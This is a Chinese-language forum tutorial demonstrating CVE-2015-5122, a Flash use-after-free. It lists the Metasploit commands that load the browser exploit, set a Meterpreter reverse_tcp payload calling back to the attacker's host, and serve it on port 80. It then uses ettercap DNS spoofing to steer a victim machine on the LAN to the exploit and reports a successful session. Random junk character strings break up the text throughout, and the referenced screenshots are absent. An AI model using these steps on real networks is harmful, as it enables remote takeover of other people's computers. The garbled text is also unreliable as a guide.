cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 / A/ q7 h6 w9 w3 f

1 e6 `- k+ I! \3 k   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： 4 e( g0 r8 Y! [' m/ f

0 P) Q+ r, f2 t" d+ m* r ?* P7 K1 E: m

, s( N2 Q! f7 d1 b search cve-2015-5122如图： - n4 a7 U; ~4 z

+ o, L; D) T) U1 X

 

$ q" M" v/ Z) e7 {4 {2 A

2 ?6 d; ?( I- l& n, M" R J 下面我们敲如下命令： 9 E, d+ C& {7 E

$ i' J6 e* ^) q

use exploit/multi/browser/adobe_flash_opaque_background_uaf

( j& c4 w, N3 N& K* p! O set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.109 7 k% z& [+ Y7 C. H8 [0 _3 V

set URIPATH /                        /*根目录*/

5 y Q: P" l1 I9 \2 |# q# Y set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 & s ~ ^5 G$ x# |/ J

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

然后show options如图：

' w! ?& d" E' ^$ a& p   8 A) f7 Z/ G4 K/ y) e- X

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
' t( b3 \0 |- w w% W7 n

4 A# e% w/ q9 r v' Y' r

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

+ R+ L. A" M" O' e

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf 5 L5 W# [6 z( C9 Y- o/ ~

! l8 _9 J1 ]7 b; d- E3 `' Q

4 _7 D5 F( l6 l  

s6 H; s0 A, I0 T

成功了，这时候我们断开ettercap，如图： + D3 Y& \! O6 p$ s

; i9 S/ z) U( l

1 v" ]0 L5 n# g4 |/ A0 g9 w6 p   1 ^3 E0 ~( @% w7 T* c1 z

* p* m0 U4 U: D( a7 w: X

: g. g, \ a* s1 n7 q Screenshot如图：

# \2 T1 A3 g, |* s

: R \, K, e' `" V5 p3 b" z5 y   7 r' n5 h K2 i( S

/ [4 B- D/ T0 n+ i" @& _" y